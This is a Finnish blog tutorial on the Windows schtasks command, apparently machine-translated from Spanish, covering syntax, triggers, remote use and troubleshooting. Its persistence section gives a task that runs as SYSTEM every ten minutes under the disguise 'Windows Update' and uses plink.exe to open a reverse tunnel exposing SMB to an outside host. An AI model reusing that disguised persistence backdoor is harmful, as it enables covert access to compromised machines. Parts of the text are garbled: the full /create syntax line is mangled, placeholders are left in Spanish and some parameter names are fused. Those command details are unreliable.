Jos työskentelet päivittäin Windows-palvelimien tai -tietokoneiden kanssa Ennemmin tai myöhemmin törmäät komentoon schtasksSe on komentorivityökalu, joka on suoraan yhteydessä Tehtävien ajoitukseen ja jonka avulla voit automatisoida käytännössä mitä tahansa: käynnistää komentosarjoja, suorittaa varmuuskopioita, tarkistaa lokeja tai jopa aloittaa ylläpitoprosesseja koskematta graafiseen käyttöliittymään.
Schtaskien hallitseminen on ratkaisevan tärkeää manuaalisen tulipalojen sammuttamisen ja itsestään huolehtivan järjestelmän välillä. Tässä artikkelissa näet yksityiskohtaisesti, miten komento toimii, mitä käyttöoikeuksia tarvitset, täydellisen syntaksin, kaikki tärkeät parametrit ja runsaasti käytännön esimerkkejä (mukaan lukien skenaariot etätietokoneilla, siirrot Windows-versioiden välillä ja tosielämän tapaukset, joissa tehtävät eivät suju odotetulla tavalla).
Mikä on schtasks ja mihin sitä tarkalleen ottaen käytetään?
Komento schtasks Se on Tehtävien ajoituksen konsolikäyttöliittymä Windowsin. Se korvasi vanhan at.exe ja se on saatavilla käytännössä kaikissa järjestelmän moderneissa versioissa: Windows 10, Windows 11, Windows Server 2019, 2022 ja tuetut aiemmat vastineet.
Sen tarkoituksena on hallita ajoitettuja tehtäviä : voit luoda, muokata, listata, käynnistää, pysäyttää ja poistaa tehtäviä sekä paikallisella koneella että etäpalvelimilla. Se sopii erinomaisesti komentosarjojen, suoritettavien tiedostojen, varmuuskopioiden, tietoturvatarkastusten, valvonnan tai minkä tahansa aikataulun mukaisesti toistettavan komennon automatisointiin.
Toistuvien tehtävien ajoittamisen lisäksi schtasks antaa sinun käynnistää toimintoja tärkeissä järjestelmän hetkissä (käynnistys, kirjautuminen, käyttämättömyysaika tai Windowsin rekisteritapahtumat). Mikä tärkeintä, voit päättää, millä tilillä ne suoritetaan, mikä on niiden käyttöoikeustaso ja tallennetaanko niihin liittyvä salasana.
Ammatillisissa ja kyberturvallisuusympäristöissä sitä käytetään myös pysyvyyden luomiseen eli sen varmistamiseen, että tietty komento suoritetaan silloin tällöin tai tietyllä liipaisimella, yleensä etuoikeutetuilla tunnistetiedoilla, kuten SYSTEM-tilillä, mikä tekee siitä erittäin tehokkaan (ja myös arkaluontoisen, jos sitä käytetään väärin).
Schtasksin turvalliseen käyttöön vaadittavat käyttöoikeudet
Kaikki tilit eivät voi tehdä kaikkea schtasks-komennoilla . Ulkoisten tai järjestelmätehtävien käsittelyyn vaaditaan järjestelmänvalvojien ryhmän jäsenyys tietokoneessa, jolla kyseiset tehtävät sijaitsevat.
Jos haluat tarkastella, ajoittaa tai muokata kaikkia tehtäviä paikallisella koneella , schtasks-komentoja suorittavan tilin on oltava järjestelmänvalvoja. Vakiokäyttäjä voi yleensä hallita vain omia tehtäviään ja rajoitetuin oikeuksin.
Etätiimeissä Asiat mutkistuvat hieman: sinun on oltava etäpalvelimen Järjestelmänvalvojat-ryhmän jäsen tai annettava järjestelmänvalvojan tunnistetiedot erikseen parametrilla /u (ja salasanasi /pLisäksi paikallisen tietokoneen toimialueen on oltava sama kuin etäpalvelimen toimialueen tai sen luotettu toimialue, muuten tunnistetietoja ei voida vahvistaa.
Myös itse tehtävä tarvitsee riittävät käyttöoikeudet mitä se aikoo suorittaa. Oletusarvoisesti, jos et määritä mitään, tehtävä suoritetaan nykyisellä käyttäjällä (tai käyttäjällä, joka on määritetty kohdassa /u (sitä ajoitettaessa). Jos haluat työn suoritettavan toisen käyttäjän tai järjestelmätilin kanssa, sinun on käytettävä /ru ja valinnaisesti /rp salasanaa varten.
On tärkeää ymmärtää, että SYSTEM-tilillä ei ole interaktiivista kirjautumista : SYSTEM-tilillä käynnistetyt ohjelmat eivät näytä ikkunoita eivätkä salli käyttäjän vuorovaikutusta. Ne sopivat täydellisesti palveluille, hiljaisille komentosarjoille tai ylläpitotehtäville, mutta eivät sovelluksille, jotka odottavat käyttäjän napsauttavan tai syöttävän tietoja.
Komennon perussyntaksi ja päätoiminnot
schtasks-komennon yleinen muoto rakentuu aina pääoperaation (luo, poista, kysely jne.) ympärille. Hyvin yksinkertaisella tasolla ohje näyttää suunnilleen tältä:
schtasks /Create | /Delete | /Query | /Change | /Run | /End | /?
Jokaisella näistä operaatioista on omat parametrinsa ja kelvolliset yhdistelmänsä. Tärkeimmät ovat:
schtasks /create: luo uuden ajoitetun tehtävän.schtasks /delete: poistaa yhden tai useamman tehtävän.schtasks /query: listaa olemassa olevat tehtävät taulukko-, luettelo- tai CSV-muodossa.schtasks /change: muokkaa jo luodun tehtävän ominaisuuksia (suorituskäyttäjä, salasana, ohjelma, vuorovaikutteinen tila jne.).schtasks /run: pakottaa jo ajoitetun tehtävän välittömän suorittamisen.schtasks /end: pysäyttää ohjelman, jossa tehtävä on parhaillaan käynnissä.
Voit tarkastella yksityiskohtaista ohjetta Windows-konsolissa. jokaisen operaation klassisella /?. Esimerkiksi schtasks /create /? Se näyttää kaikki syntaksit ja parametrien selitykset, aivan kuten schtasks /query /? tai jokin muu variantti.
Tehtävien luominen schtasksilla: täydellinen syntaksi
Tähän mennessä eniten käytetty operaatio on /createjota käytetään uuden tehtävän määrittelyyn. Sen koko syntaksi on laaja, mutta sen avulla voit hallita käytännössä kaikkia ohjelmoinnin yksityiskohtia:
schtasks /create /sc <tipo> /tn <nombre> /tr <comando> <usuario> ]] <usuario> | system}] | *] ] ]
Tehtävää luotaessa tärkeimmät parametrit, jotka on tiedettävä, ovat:
/sc <tipo>: ohjelmointityyppi (MINUUTTITIETOINEN, TUNTITIETOINEN, PÄIVITTÄIN, VIIKOTTAISIN, KUUKAUSITTAISIN, KERRAN, KÄYNNISTYSTÄ KUN SE KIRJAUTUMISTA, Tyhjäkäynti, YKSI TAPAHTUMA)./tn <nombre>Tehtävän nimi. Voi sisältää virtuaalikansion polun:\Carpeta\MiTarea./tr <comando>: suoritettava ohjelma, komentosarja tai komento, ja koko polku, jos sitä ei ole%SystemRoot%\System32./s <equipo>: etätietokone, jolle tehtävä luodaan (nimi tai IP-osoite)./uy/p: tunnistetiedot, joilla itse schtasks-komento suoritetaan, kun puhutaan etälaitteen kanssa (voimassa vain/s)./ruy/rp: tili ja salasana, joita käytetään tehtävän suorittamiseen, kun on sinun vuorosi./mo,/d,/m,/st,/sd,/ed: tiheysmuokkaimet, tietyt päivät, kuukaudet ja aloitus-/päättymispäivät./it: pakottaa tehtävän suoritettavaksi vain, kun "Suorita nimellä" -käyttäjä on kirjautuneena sisään./np: ei tallenna salasanaa (vain paikalliset resurssit, ei-vuorovaikutteinen suoritus)./z: poistaa tehtävän, kun olet suorittanut kalenterisi./rl: käyttöoikeustaso, jolla se käynnistetään (RAJOITETTU tai KORKEIN).
Joustavuus on valtava, mutta niin on myös virheiden mahdollisuus (esimerkiksi parametrien sekoittaminen, jotka eivät ole kelvollisia tietyntyyppiselle ohjelmoinnille). Siksi on suositeltavaa tarkistaa kunkin tilan ohjedokumentaatio ja testata se ensin laboratorioympäristössä.
Ohjelmointityypit ja taajuusmuuntimet
Parametri /sc määrittää tehtävän "milloin"Valitusta tyypistä riippuen jotkin lisäparametrit ovat pakollisia, valinnaisia tai yksinkertaisesti virheellisiä.
Käytettävissä olevat suunnittelutyypit ovat :
- MINUUTTI: joka n. minuutti.
- TUNNITTAINEN: joka n. tunti.
- PÄIVITTÄIN: joka n. päivä.
- VIIKOITTAIN: joka n. viikko, viikonpäivien valinnalla.
- KUUKAUSITTAINENjoustava kuukausittainen aikataulutus (tiettyjä päiviä, tietyt viikot, viimeinen päivä, tietyt kuukaudet).
- KERRAN: yksittäinen suoritus ilmoitettuna päivämääränä ja kellonaikana.
- START: jokaisen järjestelmän käynnistyksen yhteydessä.
- KIRJAUTUMINENjokaisen käyttäjän kirjautuessa sisään (mikä tahansa käyttäjä tai tietty käyttäjä riippuen)
/ru). - ONIDLE: kun järjestelmä pysyy käyttämättömänä tietyn minuuttimäärän.
- YKSI TAPAHTUMA: rekisteritapahtumien (kanava ja määritetyt kriteerit) laukaisemat suoritukset.
Muuntaja /mo säädä taajuutta kunkin tyypin sisälläEsimerkiksi: minuuttien määrä MINUTE-muuttujalle, päivien määrä DAILY-muuttujalle, viikkojen määrä WEEKLY-muuttujalle, kuukausien määrä MONTHLY-muuttujalle tai erityisarvot, kuten FIRST, SECOND, THIRD, FOURTH ja LASTPÄIVÄ tietyille kuukausiyhdistelmille.
Muita parametreja, kuten /d y /m Ne lisäävät tarkkuutta: /d Sen avulla voit määrittää tiettyjä viikonpäiviä (MA, TI, KE, TO, PE, LA, SU tai * kaikille) tai kuukauden päivän numerona käytetystä variantista riippuen, ja /m Rajoittaa ohjelmoinnin tiettyihin kuukausiin (tammi-joulukuu tai *).
Kun ajoitettu passiivisuuden vuoksi (ONIDLE) on välttämätön /i <minutos>Tämä osoittaa, kuinka kauan tiimin on oltava passiivinen ennen tehtävän käynnistämistä. Se on pakollinen YHDEN kerran. /stja valinnainen /sd jos haluat sen toimivan "tänään" sijaan jonain toisena tiettynä päivänä.
Aikataulutus minuuttien, tuntien ja päivien mukaan: käytännön esimerkkejä
Todellisissa ympäristöissä on hyvin yleistä automatisoida valvonta- tai ylläpitoskriptejä, jotka toistuvat muutaman minuutin tai tunnin välein. Tässä on joitakin näppäinyhdistelmiä:
Esimerkki 1 – Suorita skripti 20 minuutin välein :
schtasks /create /sc minute /mo 20 /tn "Security Script" /tr "\\central\data\scripts\sec.vbs"
Tässä määritetään 20 minuutin suoritusväli , mutta aloitusaikaa tai päivämäärää ei anneta, joten ensimmäinen suoritus tapahtuu 20 minuuttia tehtävän luomisen jälkeen. Skripti sijaitsee verkkopolulla, mutta se suoritetaan paikallisella koneella.
Esimerkki 2 – Joka 100. minuutti aikavälin sisällä :
schtasks /create /tn "Security Script" /tr sec.vbs /sc minute /mo 100 /st 17:00 /et 08:00 /k
Tässä tapauksessa työmäärä nousee 100 minuutin välein. klo 17.00 ja 8.00 välillä. Kanssa /k Ohjelma pakotetaan pysähtymään, jos se on edelleen aktiivinen päättymisajan koittaessa; ilman kyseistä parametria se yksinkertaisesti pysähtyisi uudelleenkäynnistyksen jälkeen, mutta käynnissä olevaa prosessia ei lopetettaisi.
Aikataulutusta vartenLogiikka on samankaltainen, mutta siinä on /sc hourlyEsimerkiksi, jos se suoritetaan viiden tunnin välein tietystä päivämäärästä alkaen:
schtasks /create /sc hourly /mo 5 /sd 03/01/2002 /tn MyApp /tr c:\apps\myapp.exe
Toinen tyypillinen aikataulu on ”joka X tunti tietyn ajanjakson ajan” käyttäen /du enimmäiskestona, esimerkiksi 10 tuntia, jotta kyseisen ikkunan ulkopuolella ei enää käynnistetä instansseja ennen seuraavaa päivittäistä sykliä.
Päivittäisessä suunnittelussa (/sc dailyOletusarvoinen muokkaaja on päivä, joten jos et määritä sitä /moTehtävä suoritetaan joka päivä määritettyyn aikaan. Muuta aloituspäivämäärää. /sd tai loppu /ed Sen avulla voit rajoittaa väliaikaisia kampanjoita (vain ylläpito tiettyyn päivämäärään asti, testit jne.).
Edistyneet viikoittaiset ja kuukausittaiset aikataulut
Kun tarvitset tarkempaa aikataulutusta kuin "joka X päivä", on parasta käyttää viikoittaista tai kuukausittaista aikataulutusta. WEEKLY-ajoituksella voit työskennellä viikkojen ja viikonpäivien välein; MONTHLY-ajoituksella voit työskennellä kuukauden päivien, tiettyjen viikkojen tai viimeisen päivän mukaan.
Esimerkki – Joka toinen perjantai :
schtasks /create /tn MyApp /tr c:\apps\myapp.exe /sc weekly /mo 2 /d FRI
Täällä /mo 2 osoittaa kahden viikon välinJa /d FRI Rajoittaa perjantaihin. Jättää pois. /moSe olisi joka perjantai.
Esimerkki – Kunkin kuukauden toinen sunnuntai (kuukauden tietty viikko):
schtasks /create /tn MyApp /tr c:\apps\myapp.exe /sc monthly /mo SECOND /d SUN
Tässä tapauksessa /mo SECOND Se merkitsee kuukauden toista viikkoaVaikka /d SUN Määritä kyseisen viikon päivä. Sama logiikka pätee, jos ENSIMMÄINEN, KOLMANNEN tai NELJÄS yhdistettynä yksittäiseen päivään on.
Aikataulu kuukauden päivän mukaan Se on myös hyvin yleistä: /sc monthly y /d 15 Esimerkiksi ajat sen aina 15. päivänä. /m MAY,JUN rajoittaisi toteutuksen vain noihin kahteen kuukauteen, kun taas /m * Se koskee kaikkia.
Kuukauden lopun automatisoinneissa käytetään usein LASTDAY-muokkaajaa, joka käynnistää tehtävän kuukauden viimeisenä päivänä noudattaen 28-, 29-, 30- tai 31-päiväisiä kuukausia ilman, että sinun tarvitsee huolehtia kalenterista.
Erikoiskäynnistimet: käynnistys, kirjautuminen, passiivisuus ja tapahtumat
Kaikki tehtävät eivät perustu kiinteisiin päivämääriin ja kellonaikoihin . Usein on hyödyllistä reagoida järjestelmätapahtumiin, kuten koneen käynnistymiseen, käyttäjän kirjautumiseen sisään tai siihen, ettei mitään toimintaa ole.
ONSTART käynnistää tehtävän aina, kun Windows käynnistyy. Tämä on yleensä riittävä:
schtasks /create /tn MyApp /tr c:\apps\myapp.exe /sc onstart
ONLOGON laukaisee suorituksen, kun käyttäjä kirjautuu sisään. Voit käyttää sitä sekä paikallisessa koneessa että etäkoneessa.
schtasks /create /tn "Start Web Site" /tr c:\myiis\webstart.bat /sc onlogon /s Server23
ONIDLE Se aktivoituu käyttämättömyysjakson jälkeen, joka ilmoitetaan /iEsimerkiksi käynnistääksesi jotain 10 minuutin käyttämättömyyden jälkeen:
schtasks /create /tn MyApp /tr c:\apps\myapp.exe /sc onidle /i 10
ONEVENT-tyypin avulla voit reagoida tapahtumiin Tapahtumienvalvonnasta.kanavan määrittäminen /EC ja tapahtuman määrittely XML:n avulla (yleensä /xmlSe sopii erinomaisesti palvelukatkosten, kriittisten virheiden tai tietoturvatapahtumien reagoinnin automatisointiin.
Suorita tehtäviä heti ja simuloi ”Suorita nyt” -toimintoa
Windowsissa ei ole schtasks-komennon "Suorita nyt" -painiketta , mutta voit saavuttaa saman vaikutuksen kahdella eri tavalla tarpeidesi mukaan.
Ensimmäinen vaihtoehto on käyttää schtasks /run jo ajoitetusta tehtävästä:
schtasks /run /tn MiTarea
Tämä komento ohittaa aikataulun ja käynnistää tehtävän välittömästi käyttämällä siinä määritettyä ohjelmaa, käyttäjätunnusta ja salasanaa. Se on erittäin hyödyllinen testattaessa, onko tehtävä määritetty oikein, odottamatta seuraavaa suoritusta.
Toinen vaihtoehto on luoda tehtävä, jonka tyyppi on ELEVE Ajoita se toimimaan muutaman minuutin kuluttua tulevaisuudessa, simuloiden "juuri nyt", esimerkiksi 2-3 minuuttia nykyisestä ajasta. Sitten, jos haluat, voit poistaa sen... /delete automaattisesti.
Lisäkikkana virheenkorjausongelmiinKannattaa vilkaista tiedostoa SchedLgU.txt en %SystemRoot%jossa Tehtävien ajoitus jättää jälkeensä monia suoritus- ja tunnistetietovirheitä.
Pysyvyys ja toteutus SYSTEM-tilillä
Hyvin yleinen käyttötapa kyberturvallisuudessa ja edistyneessä hallinnossa on schtaskien käyttö sen varmistamiseksi, että tietty komento suoritetaan toistuvasti SYSTEM-tilillä, jolloin saavutetaan pysyvyys maksimaalisilla oikeuksilla.
Klassinen pysyvyysmalli näyttäisi suunnilleen tältä:
C:\> schtasks /create /ru "SYSTEM" /sc minute /mo <minutos> /tn "<nombre>" /tr "<comando>"
Tämä luo toistuvan tehtävän joka suoritetaan SYSTEM-järjestelmänä n minuutin välein ja suorittaa määrittämäsi komennon (skriptit, binäärit, yhteystyökalut jne.). Salasanaa ei tarvita. /rp koska SYSTEM-tili ei käytä käyttäjän tunnistetietoja.
Reaalimaailman esimerkki pysyvyydestä, jossa on käänteinen yhteys 10 minuutin välein :
C:\> schtasks /create /ru "SYSTEM" /sc minute /mo 10 /tn "Windows Update" /tr "C:\temp\plink.exe 10.1.1.22 -P 443 -C -R 3445:127.0.0.1:445 -N -l root -i private.key"
Tässä on näennäisesti viaton tehtävä ("Windows Update") käynnistyy säännöllisesti plink.exe sarjalla parametreja: kohde-IP, portti 443, pakkaus käytössä, portin edelleenlähetys, ei interaktiivista kuorta (-N), etäkäyttäjä root ja todennus yksityisellä avaimella.
Tämäntyyppinen käyttö osoittaa, miksi schtasks on niin arkaluontoinen : laillisen järjestelmänvalvojan käsissä se on erittäin tehokas automaatiotyökalu, mutta se on myös yksi yleisimmistä tavoista ylläpitää pysyvää pääsyä vaarantuneeseen järjestelmään.
Parhaiden käytäntöjen näkökulmasta on suositeltavaa tarkastella ajoitettuja tehtäviä säännöllisesti, auditoida SYSTEM-komentosarjaa käyttävät tehtävät ja pitää automaattisesti suoritettavat komentosarjat ja binäärit hallinnassa, erityisesti alttiina olevilla palvelimilla.
Etätyöskentely ja vaihtoehtoiset tunnistetiedot
Schtasksin merkittävä etu on, että se voi toimia muita palvelimia vastaan. ilman, että niihin tarvitsee muodostaa yhteyttä manuaalisesti. Käyttämällä /s osoittamaan etäisäntä ja /u//p Järjestelmänvalvojan tunnuksilla voit luoda, listata tai muokata tehtäviä kyseisissä järjestelmissä.
Esimerkki – Tehtävän ajoittaminen etäpalvelimella paikallisen järjestelmänvalvojan käyttäjän avulla :
schtasks /create /s SRV01 /tn MyApp /tr "c:\program files\corpapps\myapp.exe" /sc daily /mo 10
Jos nykyinen käyttäjä on jo SRV01:n järjestelmänvalvoja sinun ei tarvitse /uJos näin ei ole, sinun on määritettävä tili, jolla on seuraavat käyttöoikeudet:
schtasks /create /s SRV06 /tn MyApp /tr "c:\program files\corpapps\myapp.exe" /sc hourly /mo 3 /u reskits\admin01 /p R43253@4$ /ru SRV06\user03 /rp MyFav!!Pswd
Tällä komennolla on kaksi tunnistetietotasoa: valtakirjat /u (admin01)-komentoja käytetään tehtävän luomiseen etäkoneella, kun taas /ru (user03)-käyttäjää käytetään sitten tehtävän suorittamiseen kolmen tunnin välein. Tämä mahdollistaa itse työn suorittamisen ilman järjestelmänvalvojan oikeuksia, ellei sitä tarvita.
Jos paikallinen tietokone ei kuulu luotettuun toimialueeseen Etäverkkotunnuksen osalta palvelin ei pysty todentamaan kohdassa annettua tiliä. /u ja tehtävä on "tyhjä": se näkyy luettelossa, mutta ilman oikeita tunnistetietoja, seuraavaa suoritusaikaa ja varoitusviesteillä, jotka ilmoittavat, että tilitietoja ei voitu määrittää.
Neuvoteltuaan yksityiskohtaisesti schtasks /query /V Huomaat, että kenttiä, kuten "Suorita käyttäjänä", ei voida hakea ja että "Seuraava suoritusaika" on "Ei koskaan". Tässä tapauksessa sinun on tarkistettava toimialueiden välinen luottamus tai käytettävä eri tiliä/palvelinta tehtävän konfiguroimiseksi oikein.
Ajoitettujen tehtävien tuonti ja siirto palvelimien välillä
Windows Server 2003:sta uudempiin versioihin siirryttäessä oli (ja on edelleen joissakin vanhoissa ympäristöissä) yleistä tuoda kaikki ajoitetut tehtävät uudelle palvelimelle, säilyttää niiden ominaisuudet ja mukauttaa käyttäjätilejä.
Käytännöllinen lähestymistapa on kopioida .job-tiedostot alkaen C:\Windows\Tasks vanhalta palvelimelta väliaikaiseen kansioon (esimerkiksi C:\Task), Kanssa schtasks.exe y schedsvc.dll de C:\Windows\System32ja siirrä sitten kyseinen kansio uudelle palvelimelle.
Kun tiedostot ovat siellä, ne kopioidaan uuden järjestelmän tehtäväkansioon ja FOR-silmukkaa käytetään tehtävien suorittamiseen käytetyn tilin ja salasanan joukkopäivittämiseen:
cd C:\Task
FOR /R . %F in (*.*) do schtasks /change /TN %~nF /RU dom\Administrador /RP CONTRASEÑA
Järjestys schtasks /change voit muokata tunnistetietoja parametrien kanssa /ru (käyttäjä) ja /rp (salasana) muiden ominaisuuksien ohella. Tällä tavoin kaikki tuodut tehtävät päivitetään suoritettavaksi kelvollisella tilillä uudella toimialueella/palvelimella.
Jos kaikki meni tämän prosessin jälkeen hyvin, järjestelmä näyttää onnistumisilmoituksia, kuten ”Onnistui: Ajoitettujen tehtävien parametreja 'Ajoitetun_tehtävän_nimi' on muutettu.” Voit sitten avata graafisen tehtävien ajoituksen ja varmistaa, että tehtävät näkyvät ja suoritetaan odotetulla tavalla.
Muista kuitenkin, että monet tehtävät ovat riippuvaisia tietyistä skripteistä tai poluista . .job-tiedostojen lisäksi sinun on kopioitava kaikki mukautetut .bat-, .vbs-, .exe- jne. tiedostot samaan sijaintiin kuin lähdepalvelimella tai mukautettava tehtävän polkua, jos päätät siirtää ne muualle.
Konsultoi, debuggaa ja vianmääritä yleisiä schtasks-ongelmia
Vaikka komento palauttaisi arvon "SUCCESS" tehtävää luotaessa tai käynnistettäessä , se ei aina tarkoita, että taustalla oleva ohjelma on suoritettu oikein. Siksi on tärkeää tietää, miten sitä valvotaan ja debugataan, ja tarvittaessa käyttää työkaluja, kuten tasklist ja taskkill.
kanssa schtasks /query Voit listata tehtäviä sekä paikallisesti että etänä, suodattimilla ja eri formaateilla:
schtasks /query /S servidor /U usuario /P contraseña /FO TABLE /V
Parametri /FO määrittele muoto (TAULUKKO, LISTA tai CSV), /NH poista otsikko TABLE/CSV-tiedostosta ja /V Se näyttää täydelliset tiedot (käynnissä oleva käyttäjä, seuraava käynnistys, viimeisin ajo, tulokset jne.).
Hyvin tyypillinen tosielämän skenaario on, että tehtävä toimii, kun se suoritetaan manuaalisesti PowerShellissä, mutta ei silloin, kun se käynnistetään Tehtävien ajoituksella. Esimerkiksi schtasks-komennon suorittaminen yhdellä palvelimella tehtävän käynnistämiseksi toisella etäpalvelimella:
schtasks /run /s server02 /tn starttask
Kun se suoritetaan manuaalisesti PowerShellissä, kaikki näyttää oikein (onnistumisviesti ja työ alkaa palvelimella 02), mutta kun se ajoitetaan tehtävien ajoituksen kautta palvelimella 01, mitään ei tapahdu. Näissä tapauksissa seuraavat asiat on tarkistettava:
- Tili, joka suorittaa tehtävän palvelimella palvelin01 (esimerkiksi SYSTEM). SYSTEM-käyttäjällä ei aina ole vastaavia verkko-oikeuksia kuin toimialuekäyttäjällä, mikä voi estää pääsyn palvelimelle palvelin02.
- Konteksti ”Suorita riippumatta siitä, onko käyttäjä kirjautunut sisään vai ei”koska se muuttaa käytettävissä olevaa ympäristöä (muuttujat, verkkomääritykset, interaktiiviset käyttöoikeudet jne.).
- "Suorita korkeimmilla oikeuksilla" -asetusmikä voi olla tarpeen joissakin tilanteissa.
- PowerShellin ja komentosarjan absoluuttiset polut (
powershell.exe -File "F:\folder\startserver02task.ps1"), välttäen riippuvuuksia nykyisestä kansiosta.
Usein ratkaisuun kuuluu verkkotunnuspalvelutilin käyttäminen tehtävään server01:ssä SYSTEM-tilin sijaan tai palvelimien välisten suojaus- ja palomuurikäytäntöjen tarkistaminen etäpuhelun sallimiseksi.
Toinen ongelmia aiheuttava tekijä on aika ja alueellinen muoto päivämääristä. Parametrit /sd y /ed Nämä riippuvat alueellisista asetuksista (PP/KK/VVVV, KK/PP/VVVV, VVVV/KK/PP jne.). Jos päivämäärä tulkitaan väärin, tehtävää ei ehkä koskaan suoriteta tai sen seuraava suoritus voidaan merkitä "Ei koskaan" -tilaan.
Lopuksi on tärkeää muistaa, että schtasks ei vahvista polkuja tai salasanoja tehtävää luotaessa. Jos annat väärän ohjelmapolun tai tilin salasanan, tehtävä luodaan silti, mutta se epäonnistuu suorituksen aikana. Jos salasana vanhenee etkä päivitä tehtävää, se lakkaa toimimasta ilman, että schtasks ilmoittaa siitä sinulle ennakoivasti.
Kaiken kaikkiaan schtasks on uskomattoman tehokas ja joustava työkalu Windowsin automatisointiin komentoriviltä: sen avulla voit ajoittaa paikallisia ja etätehtäviä, valita monenlaisista liipaisutyypeistä, hienosäätää taajuutta, siirtää tehtäviä palvelinversioiden välillä ja hallita tunnistetietoja tarkasti. Sen parametrien hallinta ja niiden vuorovaikutuksen ymmärtäminen Tehtävien ajoituksen ja Windowsin tietoturvan kanssa on avainasemassa vankkojen automaatioiden määrittämisessä, haitallisten pysyvyysyritysten havaitsemisessa ja yleisesti ottaen valtavan määrän manuaalisen työn säästämisessä päivittäin.
Intohimoinen kirjoittaja tavujen maailmasta ja tekniikasta yleensä. Rakastan jakaa tietämykseni kirjoittamalla, ja sen aion tehdä tässä blogissa, näyttää sinulle kaikki mielenkiintoisimmat asiat vempaimista, ohjelmistoista, laitteistoista, teknologisista trendeistä ja muusta. Tavoitteeni on auttaa sinua navigoimaan digitaalisessa maailmassa yksinkertaisella ja viihdyttävällä tavalla.